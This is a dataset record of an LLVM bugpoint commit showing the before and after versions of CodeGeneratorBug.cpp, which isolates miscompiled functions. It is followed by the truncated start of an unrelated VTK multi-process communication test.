ReduceMisCodegenFunctions::TestFuncs(const std::vector<Function*> &Funcs,\n bool KeepFiles)\n{\n DEBUG(std::cerr << \"Test functions are:\\n\");\n for (std::vector<Function*>::const_iterator I = Funcs.begin(),E = Funcs.end();\n I != E; ++I)\n DEBUG(std::cerr << \"\\t\" << (*I)->getName() << \"\\n\");\n\n \/\/ Clone the module for the two halves of the program we want.\n Module *SafeModule = CloneModule(BD.Program);\n\n \/\/ Make sure functions & globals are all external so that linkage\n \/\/ between the two modules will work.\n for (Module::iterator I = SafeModule->begin(), E = SafeModule->end();I!=E;++I)\n I->setLinkage(GlobalValue::ExternalLinkage);\n for (Module::giterator I=SafeModule->gbegin(),E = SafeModule->gend();I!=E;++I)\n I->setLinkage(GlobalValue::ExternalLinkage);\n\n DisambiguateGlobalSymbols(SafeModule);\n Module *TestModule = CloneModule(SafeModule);\n\n \/\/ Make sure global initializers exist only in the safe module (CBE->.so)\n for (Module::giterator I=TestModule->gbegin(),E = TestModule->gend();I!=E;++I)\n I->setInitializer(0); \/\/ Delete the initializer to make it external\n\n \/\/ Remove the Test functions from the Safe module\n for (unsigned i = 0, e = Funcs.size(); i != e; ++i) {\n Function *TNOF = SafeModule->getFunction(Funcs[i]->getName(),\n Funcs[i]->getFunctionType());\n assert(TNOF && \"Function doesn't exist in module!\");\n DeleteFunctionBody(TNOF); \/\/ Function is now external in this module!\n }\n\n \/\/ Remove the Safe functions from the Test module\n for (Module::iterator I=TestModule->begin(),E=TestModule->end(); I!=E; ++I) {\n bool funcFound = false;\n for (std::vector<Function*>::const_iterator F=Funcs.begin(),Fe=Funcs.end();\n F != Fe; ++F)\n if (I->getName() == (*F)->getName()) funcFound = true;\n\n if (!funcFound && !(BD.isExecutingJIT() && I->getName() == \"main\"))\n DeleteFunctionBody(I);\n }\n\n \/\/ This is only applicable if we are debugging the JIT:\n \/\/ Find all external functions in the Safe modules that are actually used\n \/\/ (called or taken address of), and make them call the JIT wrapper instead\n if (BD.isExecutingJIT()) {\n \/\/ Must delete `main' from Safe module if it has it\n for (Module::iterator I=SafeModule->begin(), E=SafeModule->end();I!=E;++I)\n if (I->getName() == \"main\") DeleteFunctionBody(I);\n\n \/\/ Add an external function \"getPointerToNamedFunction\" that JIT provides\n \/\/ Prototype: void *getPointerToNamedFunction(const char* Name)\n std::vector<const Type*> Params;\n Params.push_back(PointerType::get(Type::SByteTy)); \/\/ std::string&\n FunctionType *resolverTy = FunctionType::get(PointerType::get(Type::VoidTy),\n Params, false \/* isVarArg *\/);\n const std::string ResolverFunctionName = \"getPointerToNamedFunction\";\n Function *resolverFunc = new Function(resolverTy,\n GlobalValue::ExternalLinkage,\n ResolverFunctionName,\n SafeModule);\n\n \/\/ Use the function we just added to get addresses of functions we need\n \/\/ Iterate over the global declarations in the Safe module\n for (Module::iterator F=SafeModule->begin(),E=SafeModule->end(); F!=E; ++F){\n if (F->isExternal() && F->use_begin() != F->use_end() &&\n F->getName() != ResolverFunctionName) {\n \/\/ If it has a non-zero use list,\n \/\/ 1. Add a string constant with its name to the global file\n \/\/ The correct type is `const [ NUM x sbyte ]' where NUM is length of\n \/\/ function name + 1\n const std::string &Name = F->getName();\n GlobalVariable *funcName =\n new GlobalVariable(ArrayType::get(Type::SByteTy, Name.length()+1),\n true \/* isConstant *\/,\n GlobalValue::InternalLinkage,\n ConstantArray::get(Name),\n Name + \"_name\",\n SafeModule);\n\n \/\/ 2. Use `GetElementPtr *funcName, 0, 0' to convert the string to an\n \/\/ sbyte* so it matches the signature of the resolver function.\n Constant *Zero = Constant::getNullValue(Type::LongTy);\n std::vector<Constant*> GEPargs;\n GEPargs.push_back(Zero);\n GEPargs.push_back(Zero);\n\n \/\/ 3. Replace all uses of `func' with calls to resolver by:\n \/\/ (a) Iterating through the list of uses of this function\n \/\/ (b) Insert a cast instruction in front of each use\n \/\/ (c) Replace use of old call with new call\n\n \/\/ Insert code at the beginning of the function\n\n for (Value::use_iterator i=F->use_begin(), e=F->use_end(); i!=e; ++i) {\n if (Instruction* Inst = dyn_cast<Instruction>(*i)) {\n \/\/ GetElementPtr *funcName, ulong 0, ulong 0\n Value *GEP =\n ConstantExpr::getGetElementPtr(ConstantPointerRef::get(funcName),\n GEPargs);\n std::vector<Value*> ResolverArgs;\n ResolverArgs.push_back(GEP);\n \/\/ call resolver(GetElementPtr...)\n CallInst *resolve = new CallInst(resolverFunc, ResolverArgs, \n \"resolver\", Inst);\n \/\/ cast the result from the resolver to correctly-typed function\n CastInst *castResolver =\n new CastInst(resolve, PointerType::get(F->getFunctionType()),\n \"\", Inst);\n \/\/ actually use the resolved function\n Inst->replaceUsesOfWith(F, castResolver);\n\n \/\/BasicBlock::iterator ii(Inst);\n \/\/ReplaceInstWithValue(Inst->getParent()->getInstList(),\n \/\/ ii, ResolverResult);\n }\n }\n }\n }\n }\n\n DEBUG(std::cerr << \"Safe module:\\n\");\n for (Module::iterator I = SafeModule->begin(), E = SafeModule->end();I!=E;++I)\n if (!I->isExternal()) DEBUG(std::cerr << \"\\t\" << I->getName() << \"\\n\");\n for (Module::giterator I=SafeModule->gbegin(),E = SafeModule->gend();I!=E;++I)\n if (!I->isExternal()) DEBUG(std::cerr << \"\\t\" << I->getName() << \"\\n\");\n\n DEBUG(std::cerr << \"Test module:\\n\");\n for (Module::iterator I =TestModule->begin(),E = TestModule->end(); I!=E;++I)\n if (!I->isExternal()) DEBUG(std::cerr << \"\\t\" << I->getName() << \"\\n\");\n for (Module::giterator I=TestModule->gbegin(),E = TestModule->gend();I!=E;++I)\n if (!I->isExternal()) DEBUG(std::cerr << \"\\t\" << I->getName() << \"\\n\");\n\n \/\/ Write out the bytecode to be sent to CBE\n std::string SafeModuleBC = getUniqueFilename(\"bugpoint.safe.bc\");\n if (verifyModule(*SafeModule)) {\n std::cerr << \"Bytecode file corrupted!\\n\";\n exit(1);\n }\n if (BD.writeProgramToFile(SafeModuleBC, SafeModule)) {\n std::cerr << \"Error writing bytecode to `\" << SafeModuleBC << \"'\\nExiting.\";\n exit(1);\n }\n\n \/\/ Make a shared library\n std::string SharedObject;\n BD.compileSharedObject(SafeModuleBC, SharedObject);\n\n \/\/ Remove all functions from the Test module EXCEPT for the ones specified in\n \/\/ Funcs. We know which ones these are because they are non-external in\n \/\/ ToOptimize, but external in ToNotOptimize.\n \/\/\n for (Module::iterator I = TestModule->begin(), E = TestModule->end();I!=E;++I)\n if (!I->isExternal()) {\n Function *TNOF = SafeModule->getFunction(I->getName(),\n I->getFunctionType());\n assert(TNOF && \"Function doesn't exist in ToNotOptimize module??\");\n if (!TNOF->isExternal())\n DeleteFunctionBody(I);\n }\n\n std::string TestModuleBC = getUniqueFilename(\"bugpoint.test.bc\");\n if (verifyModule(*TestModule)) {\n std::cerr << \"Bytecode file corrupted!\\n\";\n exit(1);\n }\n if (BD.writeProgramToFile(TestModuleBC, TestModule)) {\n std::cerr << \"Error writing bytecode to `\" << SafeModuleBC << \"'\\nExiting.\";\n exit(1);\n }\n\n delete SafeModule;\n delete TestModule;\n\n \/\/ Run the code generator on the `Test' code, loading the shared library.\n \/\/ The function returns whether or not the new output differs from reference.\n int Result = BD.diffProgram(TestModuleBC, SharedObject, false);\n if (KeepFiles) {\n std::cout << \"You can reproduce the problem with the command line: \\n\"\n << \"lli (or llc) -load \" << SharedObject << \" \" << TestModuleBC\n << \"\\n\";\n } else {\n removeFile(TestModuleBC);\n removeFile(SafeModuleBC);\n removeFile(SharedObject);\n }\n return Result;\n}\n\nnamespace {\n struct Disambiguator {\n std::set<std::string> SymbolNames;\n std::set<GlobalValue*> Symbols;\n uint64_t uniqueCounter;\n bool externalOnly;\n public:\n Disambiguator() : uniqueCounter(0), externalOnly(true) {}\n void setExternalOnly(bool value) { externalOnly = value; }\n void add(GlobalValue &V) {\n \/\/ If we're only processing externals and this isn't external, bail\n if (externalOnly && !V.isExternal()) return;\n \/\/ If we're already processed this symbol, don't add it again\n if (Symbols.count(&V) != 0) return;\n\n std::string SymName = V.getName();\n\n \/\/ If the symbol starts with a '.', replace it with 'x'\n \/\/ This solves the problem of not being able to find symbols in an .so\n \/\/ file when those symbol names start with '.'\n if (SymName[0] == '.') { \n SymName[0] = 'x';\n V.setName(SymName);\n }\n\n if (SymbolNames.count(SymName) == 0) {\n DEBUG(std::cerr << \"Disambiguator: adding \" << SymName\n << \", no conflicts.\\n\");\n SymbolNames.insert(SymName);\n } else { \n \/\/ Mangle name before adding\n std::string newName;\n do {\n newName = SymName + \"_\" + utostr(uniqueCounter);\n if (SymbolNames.count(newName) == 0) break;\n else ++uniqueCounter;\n } while (1);\n \/\/while (SymbolNames.count(V->getName()+utostr(uniqueCounter++))==0);\n DEBUG(std::cerr << \"Disambiguator: conflict: \" << SymName\n << \", adding: \" << newName << \"\\n\");\n V.setName(newName);\n SymbolNames.insert(newName);\n }\n Symbols.insert(&V);\n }\n };\n}\n\nvoid ReduceMisCodegenFunctions::DisambiguateGlobalSymbols(Module *M) {\n \/\/ First, try not to cause collisions by minimizing chances of renaming an\n \/\/ already-external symbol, so take in external globals and functions as-is.\n Disambiguator D;\n DEBUG(std::cerr << \"Disambiguating globals (external-only)\\n\");\n for (Module::giterator I = M->gbegin(), E = M->gend(); I != E; ++I) D.add(*I);\n DEBUG(std::cerr << \"Disambiguating functions (external-only)\\n\");\n for (Module::iterator I = M->begin(), E = M->end(); I != E; ++I) D.add(*I);\n\n \/\/ Now just rename functions and globals as necessary, keeping what's already\n \/\/ in the set unique.\n D.setExternalOnly(false);\n DEBUG(std::cerr << \"Disambiguating globals\\n\");\n for (Module::giterator I = M->gbegin(), E = M->gend(); I != E; ++I) D.add(*I);\n DEBUG(std::cerr << \"Disambiguating globals\\n\");\n for (Module::iterator I = M->begin(), E = M->end(); I != E; ++I) D.add(*I);\n}\n\n\nbool BugDriver::debugCodeGenerator() {\n \/\/ See if we can pin down which functions are being miscompiled...\n \/\/First, build a list of all of the non-external functions in the program.\n std::vector<Function*> MisCodegenFunctions;\n for (Module::iterator I = Program->begin(), E = Program->end(); I != E; ++I)\n if (!I->isExternal())\n MisCodegenFunctions.push_back(I);\n\n \/\/ If we are executing the JIT, we *must* keep the function `main' in the\n \/\/ module that is passed in, and not the shared library. However, we still\n \/\/ want to be able to debug the `main' function alone. Thus, we create a new\n \/\/ function `main' which just calls the old one.\n if (isExecutingJIT()) {\n \/\/ Get the `main' function\n Function *oldMain = Program->getNamedFunction(\"main\");\n \/\/ Rename it\n oldMain->setName(\"old_main\");\n \/\/ Create a NEW `main' function with same type\n Function *newMain = new Function(oldMain->getFunctionType(), \n GlobalValue::InternalLinkage,\n \"main\", Program);\n \/\/ Call the old main function and return its result\n BasicBlock *BB = new BasicBlock(\"entry\", newMain);\n std::vector<Value*> args;\n for (Function::aiterator I=newMain->abegin(), E=newMain->aend(); I!=E; ++I)\n args.push_back(I);\n CallInst *call = new CallInst(oldMain, args);\n BB->getInstList().push_back(call);\n \n \/\/ if the type of old function wasn't void, return value of call\n ReturnInst *ret;\n if (oldMain->getReturnType() != Type::VoidTy) {\n ret = new ReturnInst(call);\n } else {\n ret = new ReturnInst();\n }\n\n \/\/ Add the return instruction to the BasicBlock\n BB->getInstList().push_back(ret);\n }\n\n\n \/\/ Do the reduction...\n ReduceMisCodegenFunctions(*this).reduceList(MisCodegenFunctions);\n\n std::cout << \"\\n*** The following functions are being miscompiled: \";\n PrintFunctionList(MisCodegenFunctions);\n std::cout << \"\\n\";\n\n \/\/ Output a bunch of bytecode files for the user...\n ReduceMisCodegenFunctions(*this).TestFuncs(MisCodegenFunctions, true);\n\n return false;\n}\n\n<commit_msg>Implemented cleanups as suggested by Chris: * Use Module::getNamedFunction() to delete \"main\" instead of using a loop * Compare function pointers instead of function names to determine equivalence * Simplified creation of a 2-element vector containing zeroes * Manually performed LICM on code * Added an abort() in case a function we're considering occurs in something that is not an instruction * Use DEBUG() around code sections instead of just in a statement in a loop, because GCC's DCE may not be good enough to completely remove it in a release build * Print out a command that can be directly copied-and-pasted to re-execute * Instead of just checking if a symbol begins with a dot and fixing it accordingly, use Mangler and fix all the problems (invalid chars in C symbol names) entirely * The new `main' function has external linkage<commit_after>\/\/===- CodeGeneratorBug.cpp - Debug code generation bugs ------------------===\/\/\n\/\/\n\/\/ This file implements program code generation debugging support.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"BugDriver.h\"\n#include \"SystemUtils.h\"\n#include \"ListReducer.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/GlobalValue.h\"\n#include \"llvm\/iMemory.h\"\n#include \"llvm\/iTerminators.h\"\n#include \"llvm\/iOther.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Analysis\/Verifier.h\"\n#include \"llvm\/Support\/Mangler.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include \"llvm\/Transforms\/Utils\/Cloning.h\"\n#include \"llvm\/Transforms\/Utils\/Linker.h\"\n#include \"Support\/Statistic.h\"\n#include \"Support\/StringExtras.h\"\n#include <algorithm>\n#include <set>\n\nclass ReduceMisCodegenFunctions : public ListReducer<Function*> {\n BugDriver &BD;\npublic:\n ReduceMisCodegenFunctions(BugDriver &bd) : BD(bd) {}\n\n virtual TestResult doTest(std::vector<Function*> &Prefix,\n std::vector<Function*> &Suffix) {\n if (!Prefix.empty() && TestFuncs(Prefix))\n return KeepPrefix;\n if (!Suffix.empty() && TestFuncs(Suffix))\n return KeepSuffix;\n return NoFailure;\n }\n \n bool TestFuncs(const std::vector<Function*> &CodegenTest,\n bool KeepFiles = false);\n\n void DisambiguateGlobalSymbols(Module *M);\n};\n\n\nbool ReduceMisCodegenFunctions::TestFuncs(const std::vector<Function*> &Funcs,\n bool KeepFiles)\n{\n DEBUG(std::cerr << \"Test functions are:\\n\");\n for (std::vector<Function*>::const_iterator I = Funcs.begin(),E = Funcs.end();\n I != E; ++I)\n DEBUG(std::cerr << \"\\t\" << (*I)->getName() << \"\\n\");\n\n \/\/ Clone the module for the two halves of the program we want.\n Module *SafeModule = CloneModule(BD.Program);\n\n \/\/ Make sure functions & globals are all external so that linkage\n \/\/ between the two modules will work.\n for (Module::iterator I = SafeModule->begin(), E = SafeModule->end();I!=E;++I)\n I->setLinkage(GlobalValue::ExternalLinkage);\n for (Module::giterator I=SafeModule->gbegin(),E = SafeModule->gend();I!=E;++I)\n I->setLinkage(GlobalValue::ExternalLinkage);\n\n DisambiguateGlobalSymbols(SafeModule);\n Module *TestModule = CloneModule(SafeModule);\n\n \/\/ Make sure global initializers exist only in the safe module (CBE->.so)\n for (Module::giterator I=TestModule->gbegin(),E = TestModule->gend();I!=E;++I)\n I->setInitializer(0); \/\/ Delete the initializer to make it external\n\n \/\/ Remove the Test functions from the Safe module\n for (unsigned i = 0, e = Funcs.size(); i != e; ++i) {\n Function *TNOF = SafeModule->getFunction(Funcs[i]->getName(),\n Funcs[i]->getFunctionType());\n assert(TNOF && \"Function doesn't exist in module!\");\n DeleteFunctionBody(TNOF); \/\/ Function is now external in this module!\n }\n\n \/\/ Remove the Safe functions from the Test module\n for (Module::iterator I=TestModule->begin(),E=TestModule->end(); I!=E; ++I) {\n bool funcFound = false;\n for (std::vector<Function*>::const_iterator F=Funcs.begin(),Fe=Funcs.end();\n F != Fe; ++F)\n if (I->getName() == (*F)->getName()) funcFound = true;\n\n if (!funcFound && !(BD.isExecutingJIT() && I->getName() == \"main\"))\n DeleteFunctionBody(I);\n }\n\n \/\/ This is only applicable if we are debugging the JIT:\n \/\/ Find all external functions in the Safe modules that are actually used\n \/\/ (called or taken address of), and make them call the JIT wrapper instead\n if (BD.isExecutingJIT()) {\n \/\/ Must delete `main' from Safe module if it has it\n Function *safeMain = SafeModule->getNamedFunction(\"main\");\n DeleteFunctionBody(safeMain);\n\n \/\/ Add an external function \"getPointerToNamedFunction\" that JIT provides\n \/\/ Prototype: void *getPointerToNamedFunction(const char* Name)\n std::vector<const Type*> Params;\n Params.push_back(PointerType::get(Type::SByteTy)); \/\/ std::string&\n FunctionType *resolverTy = FunctionType::get(PointerType::get(Type::VoidTy),\n Params, false \/* isVarArg *\/);\n Function *resolverFunc = new Function(resolverTy,\n GlobalValue::ExternalLinkage,\n \"getPointerToNamedFunction\",\n SafeModule);\n\n \/\/ Use the function we just added to get addresses of functions we need\n \/\/ Iterate over the global declarations in the Safe module\n for (Module::iterator F=SafeModule->begin(),E=SafeModule->end(); F!=E; ++F){\n if (F->isExternal() && !F->use_empty() && &(*F) != resolverFunc) {\n \/\/ If it has a non-zero use list,\n \/\/ 1. Add a string constant with its name to the global file\n \/\/ The correct type is `const [ NUM x sbyte ]' where NUM is length of\n \/\/ function name + 1\n const std::string &Name = F->getName();\n GlobalVariable *funcName =\n new GlobalVariable(ArrayType::get(Type::SByteTy, Name.length()+1),\n true \/* isConstant *\/,\n GlobalValue::InternalLinkage,\n ConstantArray::get(Name),\n Name + \"_name\",\n SafeModule);\n\n \/\/ 2. Use `GetElementPtr *funcName, 0, 0' to convert the string to an\n \/\/ sbyte* so it matches the signature of the resolver function.\n std::vector<Constant*> GEPargs(2, Constant::getNullValue(Type::LongTy));\n\n \/\/ 3. Replace all uses of `func' with calls to resolver by:\n \/\/ (a) Iterating through the list of uses of this function\n \/\/ (b) Insert a cast instruction in front of each use\n \/\/ (c) Replace use of old call with new call\n\n \/\/ GetElementPtr *funcName, ulong 0, ulong 0\n Value *GEP =\n ConstantExpr::getGetElementPtr(ConstantPointerRef::get(funcName),\n GEPargs);\n std::vector<Value*> ResolverArgs;\n ResolverArgs.push_back(GEP);\n\n \/\/ Insert code at the beginning of the function\n for (Value::use_iterator i=F->use_begin(), e=F->use_end(); i!=e; ++i) {\n if (Instruction* Inst = dyn_cast<Instruction>(*i)) {\n \/\/ call resolver(GetElementPtr...)\n CallInst *resolve = new CallInst(resolverFunc, ResolverArgs, \n \"resolver\", Inst);\n \/\/ cast the result from the resolver to correctly-typed function\n CastInst *castResolver =\n new CastInst(resolve, PointerType::get(F->getFunctionType()),\n \"\", Inst);\n \/\/ actually use the resolved function\n Inst->replaceUsesOfWith(F, castResolver);\n } else {\n \/\/ FIXME: need to take care of cases where a function is used that\n \/\/ is not an instruction, e.g. global variable initializer...\n std::cerr << \"Non-instruction is using an external function!\\n\";\n abort();\n }\n }\n }\n }\n }\n\n DEBUG(std::cerr << \"Safe module:\\n\";\n typedef Module::iterator MI;\n typedef Module::giterator MGI;\n\n for (MI I = SafeModule->begin(), E = SafeModule->end(); I != E; ++I)\n if (!I->isExternal()) std::cerr << \"\\t\" << I->getName() << \"\\n\";\n for (MGI I = SafeModule->gbegin(), E = SafeModule->gend(); I!=E; ++I)\n if (!I->isExternal()) std::cerr << \"\\t\" << I->getName() << \"\\n\";\n\n std::cerr << \"Test module:\\n\";\n for (MI I = TestModule->begin(), E = TestModule->end(); I != E; ++I)\n if (!I->isExternal()) std::cerr << \"\\t\" << I->getName() << \"\\n\";\n for (MGI I=TestModule->gbegin(),E = TestModule->gend(); I!= E; ++I)\n if (!I->isExternal()) std::cerr << \"\\t\" << I->getName() << \"\\n\";\n );\n\n \/\/ Write out the bytecode to be sent to CBE\n std::string SafeModuleBC = getUniqueFilename(\"bugpoint.safe.bc\");\n if (verifyModule(*SafeModule)) {\n std::cerr << \"Bytecode file corrupted!\\n\";\n exit(1);\n }\n if (BD.writeProgramToFile(SafeModuleBC, SafeModule)) {\n std::cerr << \"Error writing bytecode to `\" << SafeModuleBC << \"'\\nExiting.\";\n exit(1);\n }\n\n \/\/ Make a shared library\n std::string SharedObject;\n BD.compileSharedObject(SafeModuleBC, SharedObject);\n\n \/\/ Remove all functions from the Test module EXCEPT for the ones specified in\n \/\/ Funcs. We know which ones these are because they are non-external in\n \/\/ ToOptimize, but external in ToNotOptimize.\n \/\/\n for (Module::iterator I = TestModule->begin(), E = TestModule->end();I!=E;++I)\n if (!I->isExternal()) {\n Function *TNOF = SafeModule->getFunction(I->getName(),\n I->getFunctionType());\n assert(TNOF && \"Function doesn't exist in ToNotOptimize module??\");\n if (!TNOF->isExternal())\n DeleteFunctionBody(I);\n }\n\n std::string TestModuleBC = getUniqueFilename(\"bugpoint.test.bc\");\n if (verifyModule(*TestModule)) {\n std::cerr << \"Bytecode file corrupted!\\n\";\n exit(1);\n }\n if (BD.writeProgramToFile(TestModuleBC, TestModule)) {\n std::cerr << \"Error writing bytecode to `\" << SafeModuleBC << \"'\\nExiting.\";\n exit(1);\n }\n\n delete SafeModule;\n delete TestModule;\n\n \/\/ Run the code generator on the `Test' code, loading the shared library.\n \/\/ The function returns whether or not the new output differs from reference.\n int Result = BD.diffProgram(TestModuleBC, SharedObject, false);\n if (KeepFiles) {\n std::cout << \"You can reproduce the problem with the command line: \\n\"\n << (BD.isExecutingJIT() ? \"lli\" : \"llc\")\n << \" -load \" << SharedObject << \" \" << TestModuleBC\n << \"\\n\";\n } else {\n removeFile(TestModuleBC);\n removeFile(SafeModuleBC);\n removeFile(SharedObject);\n }\n return Result;\n}\n\nnamespace {\n struct Disambiguator {\n std::set<std::string> SymbolNames;\n std::set<GlobalValue*> Symbols;\n uint64_t uniqueCounter;\n bool externalOnly;\n public:\n Disambiguator() : uniqueCounter(0), externalOnly(true) {}\n void setExternalOnly(bool value) { externalOnly = value; }\n void add(GlobalValue &V) {\n \/\/ If we're only processing externals and this isn't external, bail\n if (externalOnly && !V.isExternal()) return;\n \/\/ If we're already processed this symbol, don't add it again\n if (Symbols.count(&V) != 0) return;\n\n std::string SymName = V.getName();\n\n \/\/ Use the Mangler facility to make symbol names that will be valid in\n \/\/ shared objects.\n SymName = Mangler::makeNameProper(SymName);\n V.setName(SymName);\n\n if (SymbolNames.count(SymName) == 0) {\n DEBUG(std::cerr << \"Disambiguator: adding \" << SymName\n << \", no conflicts.\\n\");\n SymbolNames.insert(SymName);\n } else { \n \/\/ Mangle name before adding\n std::string newName;\n do {\n newName = SymName + \"_\" + utostr(uniqueCounter);\n if (SymbolNames.count(newName) == 0) break;\n else ++uniqueCounter;\n } while (1);\n \/\/while (SymbolNames.count(V->getName()+utostr(uniqueCounter++))==0);\n DEBUG(std::cerr << \"Disambiguator: conflict: \" << SymName\n << \", adding: \" << newName << \"\\n\");\n V.setName(newName);\n SymbolNames.insert(newName);\n }\n Symbols.insert(&V);\n }\n };\n}\n\nvoid ReduceMisCodegenFunctions::DisambiguateGlobalSymbols(Module *M) {\n \/\/ First, try not to cause collisions by minimizing chances of renaming an\n \/\/ already-external symbol, so take in external globals and functions as-is.\n Disambiguator D;\n DEBUG(std::cerr << \"Disambiguating globals (external-only)\\n\");\n for (Module::giterator I = M->gbegin(), E = M->gend(); I != E; ++I) D.add(*I);\n DEBUG(std::cerr << \"Disambiguating functions (external-only)\\n\");\n for (Module::iterator I = M->begin(), E = M->end(); I != E; ++I) D.add(*I);\n\n \/\/ Now just rename functions and globals as necessary, keeping what's already\n \/\/ in the set unique.\n D.setExternalOnly(false);\n DEBUG(std::cerr << \"Disambiguating globals\\n\");\n for (Module::giterator I = M->gbegin(), E = M->gend(); I != E; ++I) D.add(*I);\n DEBUG(std::cerr << \"Disambiguating globals\\n\");\n for (Module::iterator I = M->begin(), E = M->end(); I != E; ++I) D.add(*I);\n}\n\n\nbool BugDriver::debugCodeGenerator() {\n \/\/ See if we can pin down which functions are being miscompiled...\n \/\/First, build a list of all of the non-external functions in the program.\n std::vector<Function*> MisCodegenFunctions;\n for (Module::iterator I = Program->begin(), E = Program->end(); I != E; ++I)\n if (!I->isExternal())\n MisCodegenFunctions.push_back(I);\n\n \/\/ If we are executing the JIT, we *must* keep the function `main' in the\n \/\/ module that is passed in, and not the shared library. However, we still\n \/\/ want to be able to debug the `main' function alone. Thus, we create a new\n \/\/ function `main' which just calls the old one.\n if (isExecutingJIT()) {\n \/\/ Get the `main' function\n Function *oldMain = Program->getNamedFunction(\"main\");\n \/\/ Rename it\n oldMain->setName(\"old_main\");\n \/\/ Create a NEW `main' function with same type\n Function *newMain = new Function(oldMain->getFunctionType(), \n GlobalValue::ExternalLinkage,\n \"main\", Program);\n \/\/ Call the old main function and return its result\n BasicBlock *BB = new BasicBlock(\"entry\", newMain);\n std::vector<Value*> args;\n for (Function::aiterator I=newMain->abegin(), E=newMain->aend(); I!=E; ++I)\n args.push_back(I);\n CallInst *call = new CallInst(oldMain, args);\n BB->getInstList().push_back(call);\n \n \/\/ if the type of old function wasn't void, return value of call\n ReturnInst *ret;\n if (oldMain->getReturnType() != Type::VoidTy) {\n ret = new ReturnInst(call);\n } else {\n ret = new ReturnInst();\n }\n\n \/\/ Add the return instruction to the BasicBlock\n BB->getInstList().push_back(ret);\n }\n\n \/\/ Do the reduction...\n ReduceMisCodegenFunctions(*this).reduceList(MisCodegenFunctions);\n\n std::cout << \"\\n*** The following functions are being miscompiled: \";\n PrintFunctionList(MisCodegenFunctions);\n std::cout << \"\\n\";\n\n \/\/ Output a bunch of bytecode files for the user...\n ReduceMisCodegenFunctions(*this).TestFuncs(MisCodegenFunctions, true);\n\n return false;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"vtkMultiProcessController.h\"\n#include \"vtkDoubleArray.h\"\n#include \"vtkCharArray.h\"\n#include \"vtkIntArray.h\"\n#include \"vtkUnsignedLongArray.h\"\n#include \"vtkFloatArray.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkOutputPort.h\"\n#include \"vtkDebugLeaks.h\"\n#include \"vtkActor.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkRenderer.h\"\n#include \"vtkInputPort.h\"\n#include \"vtkPolyDataMapper.h\"\n#include \"vtkParallelFactory.h\"\n#include \"vtkRTAnalyticSource.h\"\n#include \"vtkContourFilter.h\"\n#include \"vtkRenderWindowInteractor.h\"\n\n#include \"vtkDebugLeaks.h\"\n#include \"vtkRegressionTestImage.h\"\n\nstatic const int scMsgLength = 10;\n\nstruct GenericCommunicatorArgs_tmp\n{\n int* retVal;\n int argc;\n char** argv;\n};\n\nstatic void UpdateXFreq(void* arg)\n{\n vtkRTAnalyticSource* id = reinterpret_cast<vtkRTAnalyticSource*>(arg);\n id->SetXFreq(id->GetXFreq()+20);\n}\n\nstatic void DeleteAnArg(void*)\n{\n return;\n}\n\nvoid Process1(vtkMultiProcessController *contr, void *arg)\n{\n vtkCommunicator* comm = contr->GetCommunicator();\n\n int i;\n\n \/\/ Test receiving all supported types of arrays\n vtkIntArray* ia = vtkIntArray::New();\n if (!comm->Receive(ia, 1, 11))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<ia->GetNumberOfTuples(); i++)\n {\n if (ia->GetValue(i) != i)\n {\n cerr << \"Server error: Corrupt integer array.\" << endl;\n }\n }\n ia->Delete();\n\n vtkUnsignedLongArray* ula = vtkUnsignedLongArray::New();\n if (!comm->Receive(ula, 1, 22))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<ula->GetNumberOfTuples(); i++)\n {\n if (ula->GetValue(i) != static_cast<unsigned long>(i))\n {\n cerr << \"Server error: Corrupt unsigned long array.\" << endl;\n }\n }\n ula->Delete();\n\n vtkCharArray* ca = vtkCharArray::New();\n if (!comm->Receive(ca, 1, 33))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<ca->GetNumberOfTuples(); i++)\n {\n if (ca->GetValue(i) != static_cast<char>(i))\n {\n cerr << \"Server error: Corrupt char array.\" << endl;\n }\n }\n ca->Delete();\n\n vtkUnsignedCharArray* uca = vtkUnsignedCharArray::New();\n if (!comm->Receive(uca, 1, 44))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<uca->GetNumberOfTuples(); i++)\n {\n if (uca->GetValue(i) != static_cast<unsigned char>(i))\n {\n cerr << \"Server error: Corrupt unsigned char array.\" << endl;\n }\n }\n uca->Delete();\n\n vtkFloatArray* fa = vtkFloatArray::New();\n if (!comm->Receive(fa, 1, 7))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<fa->GetNumberOfTuples(); i++)\n {\n if (fa->GetValue(i) != static_cast<float>(i))\n {\n cerr << \"Server error: Corrupt float array.\" << endl;\n }\n }\n fa->Delete();\n\n vtkDoubleArray* da = vtkDoubleArray::New();\n if (!comm->Receive(da, 1, 7))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<da->GetNumberOfTuples(); i++)\n {\n if (da->GetValue(i) != static_cast<double>(i))\n {\n cerr << \"Server error: Corrupt double array.\" << endl;\n }\n }\n da->Delete();\n\n vtkIdTypeArray* ita = vtkIdTypeArray::New();\n if (!comm->Receive(ita, 1, 7))\n {\n cerr << \"Server error: Error receiving data.\" << endl;\n }\n for (i=0; i<ita->GetNumberOfTuples(); i++)\n {\n if (ita->GetValue(i) != static_cast<vtkIdType>(i))\n {\n cerr << \"Server error: Corrupt vtkIdType array.\" << endl;\n }\n }\n ita->Delete();\n\n vtkOutputPort* op = vtkOutputPort::New();\n op->SetController(contr);\n op->SetTag(45);\n\n float extent = 20;\n vtkRTAnalyticSource* id = vtkRTAnalyticSource::New();\n id->SetWholeExtent (-extent, extent, -extent, extent, -extent, extent); \n id->SetCenter(0, 0, 0);\n id->SetStandardDeviation( 0.5 );\n id->SetMaximum( 255.0 );\n id->SetXFreq( 60 );\n id->SetXMag( 10 );\n id->SetYFreq( 30 );\n id->SetYMag( 18 );\n id->SetZFreq( 40 );\n id->SetZMag( 5 );\n id->GetOutput()->SetSpacing(2.0\/extent,2.0\/extent,2.0\/extent);\n\n op->SetInput(id->GetOutput());\n 